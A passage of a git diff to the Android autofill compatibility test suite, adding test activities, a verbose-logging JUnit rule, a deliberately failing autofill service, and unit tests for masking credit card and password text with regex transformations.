+import android.autofillservice.cts.AttachedContextActivity.FillExpectation;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+
+/**
+ * Makes sure activity with attached context can be autofilled.
+ */
+public class AttachedContextActivityTest extends AutoFillServiceTestCase {
+
+    @Rule
+    public final AutofillActivityTestRule<AttachedContextActivity> mActivityRule =
+            new AutofillActivityTestRule<>(AttachedContextActivity.class);
+
+    private AttachedContextActivity mActivity;
+
+    @Before
+    public void setActivity() {
+        mActivity = mActivityRule.getActivity();
+    }
+
+    @Test
+    public void testAutofill() throws Exception {
+        // Prepare
+        enableService();
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedFillResponse.CannedDataset.Builder()
+                        .setField(AttachedContextActivity.ID_INPUT, "attack!")
+                        .setPresentation(createPresentation("fill me"))
+                        .build())
+                .build());
+        final FillExpectation fillExpectation = mActivity.expectAutoFill("attack!");
+
+        // Trigger autofill
+        mActivity.syncRunOnUiThread(() -> mActivity.mInput.requestFocus());
+        sReplier.getNextFillRequest();
+
+        // Select dataset
+        sUiBot.selectDataset("fill me");
+
+        // Assert results
+        fillExpectation.assertAutoFilled();
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
index 56ae652..570de4e 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
@@ -16,6 +16,8 @@
 
 package android.autofillservice.cts;
 
+import static android.autofillservice.cts.CannedFillResponse.ResponseType.NULL;
+
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.app.Activity;
@@ -26,6 +28,8 @@
 import android.content.Intent;
 import android.content.IntentSender;
 import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
 import android.os.Parcelable;
 import android.util.Log;
 import android.util.SparseArray;
@@ -34,6 +38,8 @@
 import com.google.common.base.Preconditions;
 
 import java.util.ArrayList;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * This class simulates authentication at the dataset at reponse level
@@ -44,6 +50,8 @@
     private static final String EXTRA_DATASET_ID = "dataset_id";
     private static final String EXTRA_RESPONSE_ID = "response_id";
 
+    private static final int MSG_WAIT_FOR_LATCH = 1;
+
     private static Bundle sData;
     private static final SparseArray<CannedDataset> sDatasets = new SparseArray<>();
     private static final SparseArray<CannedFillResponse> sResponses = new SparseArray<>();
@@ -54,6 +62,12 @@
     // Guarded by sLock
     private static int sResultCode;
 
+    // Guarded by sLock
+    // Used to block response until it's counted down.
+    private static CountDownLatch sResponseLatch;
+
+    private Handler mHandler;
+
     static void resetStaticState() {
         setResultCode(RESULT_OK);
         sDatasets.clear();
@@ -121,10 +135,54 @@
         }
     }
 
+    /**
+     * Sets the value that's passed to {@link Activity#setResult(int, Intent)}, but only calls it
+     * after the {@code latch}'s countdown reaches {@code 0}.
+     */
+    public static void setResultCode(CountDownLatch latch, int resultCode) {
+        synchronized (sLock) {
+            sResponseLatch = latch;
+            sResultCode = resultCode;
+        }
+    }
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
+        mHandler = new Handler(Looper.getMainLooper(), (m) -> {
+            switch (m.what) {
+                case MSG_WAIT_FOR_LATCH:
+                    waitForLatchAndDoIt();
+                    break;
+                default:
+                    throw new IllegalArgumentException("invalid message: " + m);
+            }
+            return true;
+        });
+
+        if (sResponseLatch != null) {
+            Log.d(TAG, "Delaying message until latch is counted down");
+            mHandler.dispatchMessage(mHandler.obtainMessage(MSG_WAIT_FOR_LATCH));
+        } else {
+            doIt();
+        }
+    }
+
+    private void waitForLatchAndDoIt() {
+        try {
+            final boolean called = sResponseLatch.await(5, TimeUnit.SECONDS);
+            if (!called) {
+                throw new IllegalStateException("latch not called in 5 seconds");
+            }
+            doIt();
+        } catch (InterruptedException e) {
+            Thread.interrupted();
+            throw new IllegalStateException("interrupted");
+        }
+    }
+
+    private void doIt() {
         // We should get the assist structure...
         final AssistStructure structure = getIntent().getParcelableExtra(
                 AutofillManager.EXTRA_ASSIST_STRUCTURE);
@@ -140,7 +198,12 @@
         final Parcelable result;
 
         if (response != null) {
-            result = response.asFillResponse((id) -> Helper.findNodeByResourceId(structure, id));
+            if (response.getResponseType() == NULL) {
+                result = null;
+            } else {
+                result = response
+                        .asFillResponse((id) -> Helper.findNodeByResourceId(structure, id));
+            }
         } else if (dataset != null) {
             result = dataset.asDataset((id) -> Helper.findNodeByResourceId(structure, id));
         } else {
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 1605517..e72d85d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -24,8 +24,6 @@
 import static android.autofillservice.cts.InstrumentedAutoFillService.SERVICE_NAME;
 import static android.provider.Settings.Secure.AUTOFILL_SERVICE;
 
-import static com.google.common.truth.Truth.assertWithMessage;
-
 import android.autofillservice.cts.InstrumentedAutoFillService.Replier;
 import android.content.Context;
 import android.content.pm.PackageManager;
@@ -58,11 +56,15 @@
     public final RetryRule mRetryRule = new RetryRule(2);
 
     @Rule
+    public final AutofillLoggingTestRule mLoggingRule = new AutofillLoggingTestRule(TAG);
+
+    @Rule
     public final RequiredFeatureRule mRequiredFeatureRule =
             new RequiredFeatureRule(PackageManager.FEATURE_AUTOFILL);
 
     protected final Context mContext;
     protected final String mPackageName;
+
     /**
      * Stores the previous logging level so it's restored after the test.
      */
@@ -74,10 +76,14 @@
     }
 
     @BeforeClass
-    public static void removeLockScreen() {
+    public static void prepareScreen() {
         if (!hasAutofillFeature()) return;
 
+        // Unlock screen.
         runShellCommand("input keyevent KEYCODE_WAKEUP");
+
+        // Collapse notifications.
+        runShellCommand("cmd statusbar collapse");
     }
 
     @BeforeClass
@@ -129,7 +135,7 @@
     // exceptions would mask the real cause. A better approach might be using a @Rule or some other
     // visitor pattern.
     @After
-    public void assertNothingIsPending() throws Exception {
+    public void assertNothingIsPending() throws Throwable {
         final MultipleExceptionsCatcher catcher = new MultipleExceptionsCatcher()
             .run(() -> sReplier.assertNumberUnhandledFillRequests(0))
             .run(() -> sReplier.assertNumberUnhandledSaveRequests(0));
@@ -169,24 +175,15 @@
     /**
      * Asserts that the {@link InstrumentedAutoFillService} is enabled for the default user.
      */
-    protected static void assertServiceEnabled() {
-        assertServiceStatus(true);
+    protected void assertServiceEnabled() {
+        Helper.assertAutofillServiceStatus(SERVICE_NAME, true);
     }
 
     /**
      * Asserts that the {@link InstrumentedAutoFillService} is disabled for the default user.
      */
-    protected static void assertServiceDisabled() {
-        assertServiceStatus(false);
-    }
-
-    /**
-     * Asserts that there is no session left in the service.
-     */
-    protected void assertNoDanglingSessions() {
-        final String command = "cmd autofill list sessions";
-        final String result = runShellCommand(command);
-        assertWithMessage("Dangling sessions ('%s'): %s'", command, result).that(result).isEmpty();
+    protected void assertServiceDisabled() {
+        Helper.assertAutofillServiceStatus(SERVICE_NAME, false);
     }
 
     protected RemoteViews createPresentation(String message) {
@@ -195,16 +192,4 @@
         presentation.setTextViewText(R.id.text1, message);
         return presentation;
     }
-
-    private static boolean isServiceEnabled() {
-        final String service = runShellCommand("settings get secure %s", AUTOFILL_SERVICE);
-        return SERVICE_NAME.equals(service);
-    }
-
-    private static void assertServiceStatus(boolean enabled) {
-        final String actual = runShellCommand("settings get secure %s", AUTOFILL_SERVICE);
-        final String expected = enabled ? SERVICE_NAME : "null";
-        assertWithMessage("Invalid value for secure setting %s", AUTOFILL_SERVICE)
-                .that(actual).isEqualTo(expected);
-    }
 }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
index 7cf3c64..88fd1e0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillActivityTestRule.java
@@ -28,6 +28,10 @@
         super(activityClass);
     }
 
+    public AutofillActivityTestRule(Class<T> activityClass, boolean launchActivity) {
+        super(activityClass, false, launchActivity);
+    }
+
     @Override
     protected void beforeActivityLaunched() {
         Helper.preTestCleanup();
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
new file mode 100644
index 0000000..92a19a3
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillLoggingTestRule.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static android.autofillservice.cts.Helper.runShellCommand;
+
+import android.util.Log;
+
+import org.junit.rules.TestRule;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+/**
+ * Custom JUnit4 rule that improves autofill-related logging by:
+ *
+ * <ol>
+ *   <li>Setting logging level to verbose before test start.
+ *   <li>Call {@code dumpsys autofill} in case of failure.
+ * </ol>
+ */
+public class AutofillLoggingTestRule implements TestRule {
+
+    private final String mTag;
+
+    public AutofillLoggingTestRule(String tag) {
+        mTag = tag;
+    }
+
+    @Override
+    public Statement apply(Statement base, Description description) {
+        return new Statement() {
+
+            @Override
+            public void evaluate() throws Throwable {
+                final String levelBefore = runShellCommand("cmd autofill get log_level");
+                if (!levelBefore.equals("verbose")) {
+                    runShellCommand("cmd autofill set log_level verbose");
+                }
+                try {
+                    base.evaluate();
+                } catch (Throwable t) {
+                    final String dump = runShellCommand("dumpsys autofill");
+                    Log.e(mTag, "dump for " + description.getDisplayName() + ": \n" + dump, t);
+                    throw t;
+                } finally {
+                    if (!levelBefore.equals("verbose")) {
+                        runShellCommand("cmd autofill set log_level %s", levelBefore);
+                    }
+                }
+            }
+        };
+    }
+
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
index ff18003..c319730 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutofillValueTest.java
@@ -16,9 +16,6 @@
 
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.Helper.FILL_TIMEOUT_MS;
-import static android.autofillservice.cts.Helper.eventually;
-
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.testng.Assert.assertThrows;
@@ -422,7 +419,7 @@
                 .setField("editText", "filled")
                 .setPresentation(createPresentation("dataset"))
                 .build());
-        MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 2,
+        MultipleTimesTimeListener timeWatcher = new MultipleTimesTimeListener("timePicker", 1,
                 mTimePicker, 12, 32);
         mTimePicker.setOnTimeChangedListener(timeWatcher);
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java b/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java
new file mode 100644
index 0000000..19a8ec1
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/BadAutofillService.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts;
+
+import android.os.CancellationSignal;
+import android.service.autofill.AutofillService;
+import android.service.autofill.FillCallback;
+import android.service.autofill.FillRequest;
+import android.service.autofill.SaveCallback;
+import android.service.autofill.SaveRequest;
+import android.util.Log;
+
+/**
+ * An {@link AutofillService} implementation that does fails if called upon.
+ */
+public class BadAutofillService extends AutofillService {
+
+    private static final String TAG = "BadAutofillService";
+
+    static final String SERVICE_NAME = BadAutofillService.class.getPackage().getName()
+            + "/." + BadAutofillService.class.getSimpleName();
+    static final String SERVICE_LABEL = "BadAutofillService";
+
+    @Override
+    public void onFillRequest(FillRequest request, CancellationSignal cancellationSignal,
+            FillCallback callback) {
+        Log.e(TAG, "onFillRequest() should never be called");
+        throw new UnsupportedOperationException("onFillRequest() should never be called");
+    }
+
+    @Override
+    public void onSaveRequest(SaveRequest request, SaveCallback callback) {
+        Log.e(TAG, "onSaveRequest() should never be called");
+        throw new UnsupportedOperationException("onSaveRequest() should never be called");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
index 07d4721..cf2cc6d 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CannedFillResponse.java
@@ -15,17 +15,20 @@
  */
 package android.autofillservice.cts;
 
+import static android.autofillservice.cts.Helper.getAutofillIds;
+
 import static com.google.common.truth.Truth.assertWithMessage;
 
-import static android.autofillservice.cts.Helper.getAutofillIds;
 import android.app.assist.AssistStructure;
 import android.app.assist.AssistStructure.ViewNode;
 import android.content.IntentSender;
 import android.os.Bundle;
+import android.service.autofill.CustomDescription;
 import android.service.autofill.Dataset;
 import android.service.autofill.FillCallback;
 import android.service.autofill.FillResponse;
 import android.service.autofill.SaveInfo;
+import android.service.autofill.Validator;
 import android.view.autofill.AutofillId;
 import android.view.autofill.AutofillValue;
 import android.widget.RemoteViews;
@@ -58,9 +61,11 @@
     private final List<CannedDataset> mDatasets;
     private final String mFailureMessage;
     private final int mSaveType;
+    private final Validator mValidator;
     private final String[] mRequiredSavableIds;
     private final String[] mOptionalSavableIds;
     private final String mSaveDescription;
+    private final CustomDescription mCustomDescription;
     private final Bundle mExtras;
     private final RemoteViews mPresentation;
     private final IntentSender mAuthentication;
@@ -74,9 +79,11 @@
         mResponseType = builder.mResponseType;
         mDatasets = builder.mDatasets;
         mFailureMessage = builder.mFailureMessage;
+        mValidator = builder.mValidator;
         mRequiredSavableIds = builder.mRequiredSavableIds;
         mOptionalSavableIds = builder.mOptionalSavableIds;
         mSaveDescription = builder.mSaveDescription;
+        mCustomDescription = builder.mCustomDescription;
         mSaveType = builder.mSaveType;
         mExtras = builder.mExtras;
         mPresentation = builder.mPresentation;
@@ -124,11 +131,17 @@
             }
         }
         if (mRequiredSavableIds != null) {
-            final SaveInfo.Builder saveInfo = new SaveInfo.Builder(mSaveType,
-                    getAutofillIds(nodeResolver, mRequiredSavableIds));
+            final SaveInfo.Builder saveInfo =
+                    mRequiredSavableIds == null || mRequiredSavableIds.length == 0
+                        ? new SaveInfo.Builder(mSaveType)
+                            : new SaveInfo.Builder(mSaveType,
+                                    getAutofillIds(nodeResolver, mRequiredSavableIds));
 
             saveInfo.setFlags(mFlags);
 
+            if (mValidator != null) {
+                saveInfo.setValidator(mValidator);
+            }
             if (mOptionalSavableIds != null) {
                 saveInfo.setOptionalIds(getAutofillIds(nodeResolver, mOptionalSavableIds));
             }
@@ -136,6 +149,10 @@
                 saveInfo.setDescription(mSaveDescription);
             }
             saveInfo.setNegativeAction(mNegativeActionStyle, mNegativeActionListener);
+
+            if (mCustomDescription != null) {
+                saveInfo.setCustomDescription(mCustomDescription);
+            }
             builder.setSaveInfo(saveInfo.build());
         }
         if (mIgnoredIds != null) {
@@ -159,6 +176,7 @@
                 + ", flags=" + mFlags
                 + ", failureMessage=" + mFailureMessage
                 + ", saveDescription=" + mSaveDescription
+                + ", mCustomDescription=" + mCustomDescription
                 + ", hasPresentation=" + (mPresentation != null)
                 + ", hasAuthentication=" + (mAuthentication != null)
                 + ", authenticationIds=" + Arrays.toString(mAuthenticationIds)
@@ -176,9 +194,11 @@
         private final List<CannedDataset> mDatasets = new ArrayList<>();
         private final ResponseType mResponseType;
         private String mFailureMessage;
+        private Validator mValidator;
         private String[] mRequiredSavableIds;
         private String[] mOptionalSavableIds;
         private String mSaveDescription;
+        public CustomDescription mCustomDescription;
         public int mSaveType = -1;
         private Bundle mExtras;
         private RemoteViews mPresentation;
@@ -204,6 +224,14 @@
         }
 
         /**
+         * Sets the validator for this request
+         */
+        public Builder setValidator(Validator validator) {
+            mValidator = validator;
+            return this;
+        }
+
+        /**
          * Sets the required savable ids based on they {@code resourceId}.
          */
         public Builder setRequiredSavableIds(int type, String... ids) {
@@ -234,6 +262,14 @@
         }
 
         /**
+         * Sets the description passed to the {@link SaveInfo}.
+         */
+        public Builder setCustomDescription(CustomDescription description) {
+            mCustomDescription = description;
+            return this;
+        }
+
+        /**
          * Sets the extra passed to {@link
          * android.service.autofill.FillResponse.Builder#setClientState(Bundle)}.
          */
@@ -330,18 +366,18 @@
 
             if (mFieldValues != null) {
                 for (Map.Entry<String, AutofillValue> entry : mFieldValues.entrySet()) {
-                    final String resourceId = entry.getKey();
-                    final ViewNode node = nodeResolver.apply(resourceId);
+                    final String id = entry.getKey();
+                    final ViewNode node = nodeResolver.apply(id);
                     if (node == null) {
-                        throw new AssertionError("No node with resource id " + resourceId);
+                        throw new AssertionError("No node with resource id " + id);
                     }
-                    final AutofillId id = node.getAutofillId();
+                    final AutofillId autofillid = node.getAutofillId();
                     final AutofillValue value = entry.getValue();
-                    final RemoteViews presentation = mFieldPresentations.get(resourceId);
+                    final RemoteViews presentation = mFieldPresentations.get(id);
                     if (presentation != null) {
-                        builder.setValue(id, value, presentation);
+                        builder.setValue(autofillid, value, presentation);
                     } else {
-                        builder.setValue(id, value);
+                        builder.setValue(autofillid, value);
                     }
                 }
             }
@@ -354,7 +390,7 @@
             return "CannedDataset " + mId + " : [hasPresentation=" + (mPresentation != null)
                     + ", fieldPresentations=" + (mFieldPresentations)
                     + ", hasAuthentication=" + (mAuthentication != null)
-                    + ", fieldValuess=" + mFieldValues + "]";
+                    + ", fieldValues=" + mFieldValues + "]";
         }
 
         static class Builder {
@@ -373,47 +409,71 @@
             }
 
             /**
-             * Sets the canned value of a text field based on its {@code resourceId}.
+             * Sets the canned value of a text field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
              */
-            public Builder setField(String resourceId, String text) {
-                return setField(resourceId, AutofillValue.forText(text));
+            public Builder setField(String id, String text) {
+                return setField(id, AutofillValue.forText(text));
             }
 
             /**
-             * Sets the canned value of a list field based on its {@code resourceId}.
+             * Sets the canned value of a list field based on its its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
              */
-            public Builder setField(String resourceId, int index) {
-                return setField(resourceId, AutofillValue.forList(index));
+            public Builder setField(String id, int index) {
+                return setField(id, AutofillValue.forList(index));
             }
 
             /**
-             * Sets the canned value of a toggle field based on its {@code resourceId}.
+             * Sets the canned value of a toggle field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
              */
-            public Builder setField(String resourceId, boolean toggled) {
-                return setField(resourceId, AutofillValue.forToggle(toggled));
+            public Builder setField(String id, boolean toggled) {
+                return setField(id, AutofillValue.forToggle(toggled));
             }
 
             /**
-             * Sets the canned value of a date field based on its {@code resourceId}.
+             * Sets the canned value of a date field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
              */
-            public Builder setField(String resourceId, long date) {
-                return setField(resourceId, AutofillValue.forDate(date));
+            public Builder setField(String id, long date) {
+                return setField(id, AutofillValue.forDate(date));
             }
 
             /**
-             * Sets the canned value of a date field based on its {@code resourceId}.
+             * Sets the canned value of a date field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
              */
-            public Builder setField(String resourceId, AutofillValue value) {
-                mFieldValues.put(resourceId, value);
+            public Builder setField(String id, AutofillValue value) {
+                mFieldValues.put(id, value);
                 return this;
             }
 
             /**
-             * Sets the canned value of a field based on its {@code resourceId}.
+             * Sets the canned value of a field based on its {@code id}.
+             *
+             * <p>The meaning of the id is defined by the object using the canned dataset.
+             * For example, {@link InstrumentedAutoFillService.Replier} resolves the id based on
+             * {@link IdMode}.
              */
-            public Builder setField(String resourceId, String text, RemoteViews presentation) {
-                setField(resourceId, text);
-                mFieldPresentations.put(resourceId, presentation);
+            public Builder setField(String id, String text, RemoteViews presentation) {
+                setField(id, text);
+                mFieldPresentations.put(id, presentation);
                 return this;
             }
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
new file mode 100644
index 0000000..e68483b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/CharSequenceTransformationTest.java
@@ -0,0 +1,236 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts;
+
+import static org.mockito.ArgumentMatchers.any;
+import static org.mockito.ArgumentMatchers.argThat;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+import static org.testng.Assert.assertThrows;
+
+import android.service.autofill.CharSequenceTransformation;
+import android.service.autofill.ValueFinder;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.autofill.AutofillId;
+import android.widget.RemoteViews;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.ArgumentMatcher;
+
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class CharSequenceTransformationTest {
+
+    @Test
+    public void testAllNullBuilder() {
+        assertThrows(NullPointerException.class,
+                () ->  new CharSequenceTransformation.Builder(null, null, null));
+    }
+
+    @Test
+    public void testNullAutofillIdBuilder() {
+        assertThrows(NullPointerException.class,
+                () -> new CharSequenceTransformation.Builder(null, Pattern.compile(""), ""));
+    }
+
+    @Test
+    public void testNullRegexBuilder() {
+        assertThrows(NullPointerException.class,
+                () -> new CharSequenceTransformation.Builder(new AutofillId(1), null, ""));
+    }
+
+    @Test
+    public void testNullSubstBuilder() {
+        assertThrows(NullPointerException.class,
+                () -> new CharSequenceTransformation.Builder(new AutofillId(1), Pattern.compile(""),
+                        null));
+    }
+
+    @Test
+    public void testBadSubst() {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+        AutofillId id3 = new AutofillId(3);
+        AutofillId id4 = new AutofillId(4);
+
+        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+                Pattern.compile("(.)"), "1=$1");
+
+        // bad subst: The regex has no capture groups
+        b.addField(id2, Pattern.compile("."), "2=$1");
+
+        // bad subst: The regex does not have enough capture groups
+        b.addField(id3, Pattern.compile("(.)"), "3=$2");
+
+        b.addField(id4, Pattern.compile("(.)"), "4=$1");
+
+        CharSequenceTransformation trans = b.build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("a");
+        when(finder.findByAutofillId(id2)).thenReturn("b");
+        when(finder.findByAutofillId(id3)).thenReturn("c");
+        when(finder.findByAutofillId(id4)).thenReturn("d");
+
+        assertThrows(ArrayIndexOutOfBoundsException.class, () -> trans.apply(finder, template, 0));
+
+        // fail one, fail all
+        verify(template, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void testUnknownField() throws Exception {
+        AutofillId id1 = new AutofillId(1);
+        AutofillId id2 = new AutofillId(2);
+        AutofillId unknownId = new AutofillId(42);
+
+        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+                Pattern.compile(".*"), "1");
+
+        // bad subst: The field will not be found
+        b.addField(unknownId, Pattern.compile(".*"), "unknown");
+
+        b.addField(id2, Pattern.compile(".*"), "2");
+
+        CharSequenceTransformation trans = b.build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("1");
+        when(finder.findByAutofillId(id2)).thenReturn("2");
+        when(finder.findByAutofillId(unknownId)).thenReturn(null);
+
+        trans.apply(finder, template, 0);
+
+        // if a view cannot be found, nothing is not, not even partial results
+        verify(template, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void testCreditCardObfuscator() throws Exception {
+        AutofillId creditCardFieldId = new AutofillId(1);
+        CharSequenceTransformation trans = new CharSequenceTransformation
+                .Builder(creditCardFieldId,
+                        Pattern.compile("^\\s*\\d{4}[\\s-]?\\d{4}[\\s-]?\\d{4}[\\s-]?(\\d{4})\\s*$"),
+                        "...$1")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(creditCardFieldId)).thenReturn("1234 5678 9012 3456");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("...3456")));
+    }
+
+    @Test
+    public void testReplaceAllByOne() throws Exception {
+        AutofillId id = new AutofillId(1);
+        CharSequenceTransformation trans = new CharSequenceTransformation
+                .Builder(id, Pattern.compile("."), "*")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("four");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setCharSequence(eq(0), any(), argThat(new CharSequenceMatcher("****")));
+    }
+
+    @Test
+    public void testPartialMatchIsIgnored() throws Exception {
+        AutofillId id = new AutofillId(1);
+        CharSequenceTransformation trans = new CharSequenceTransformation
+                .Builder(id, Pattern.compile("^MATCH$"), "*")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id)).thenReturn("preMATCHpost");
+
+        trans.apply(finder, template, 0);
+
+        verify(template, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    @Test
+    public void userNameObfuscator() throws Exception {
+        AutofillId userNameFieldId = new AutofillId(1);
+        AutofillId passwordFieldId = new AutofillId(2);
+        CharSequenceTransformation trans = new CharSequenceTransformation
+                .Builder(userNameFieldId, Pattern.compile("(.*)"), "$1")
+                .addField(passwordFieldId, Pattern.compile(".*(..)$"), "/..$1")
+                .build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(userNameFieldId)).thenReturn("myUserName");
+        when(finder.findByAutofillId(passwordFieldId)).thenReturn("myPassword");
+
+        trans.apply(finder, template, 0);
+
+        verify(template).setCharSequence(eq(0), any(),
+                argThat(new CharSequenceMatcher("myUserName/..rd")));
+    }
+
+    @Test
+    public void testMismatch() throws Exception {
+        AutofillId id1 = new AutofillId(1);
+        CharSequenceTransformation.Builder b = new CharSequenceTransformation.Builder(id1,
+                Pattern.compile("Who are you?"), "1");
+
+        CharSequenceTransformation trans = b.build();
+
+        ValueFinder finder = mock(ValueFinder.class);
+        RemoteViews template = mock(RemoteViews.class);
+
+        when(finder.findByAutofillId(id1)).thenReturn("I'm Batman!");
+
+        trans.apply(finder, template, 0);
+
+        // If the match fails, the view should not change.
+        verify(template, never()).setCharSequence(eq(0), any(), any());
+    }
+
+    static class CharSequenceMatcher implements ArgumentMatcher<CharSequence> {
+        private final CharSequence mExpected;
+
+        public CharSequenceMatcher(CharSequence expected) {
+            mExpected = expected;
+        }
+
+        @Override
+        public boolean matches(CharSequence actual) {
+            return actual.toString().equals(mExpected.toString());
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
index 0b8d938..84be355 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CheckoutActivity.java
@@ -74,19 +74,25 @@
     private FillExpectation mExpectation;
     private CountDownLatch mBuyLatch;
 
+    private static CheckoutActivity sInstance;
+
+    public CheckoutActivity() {
+        sInstance = this;
+    }
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
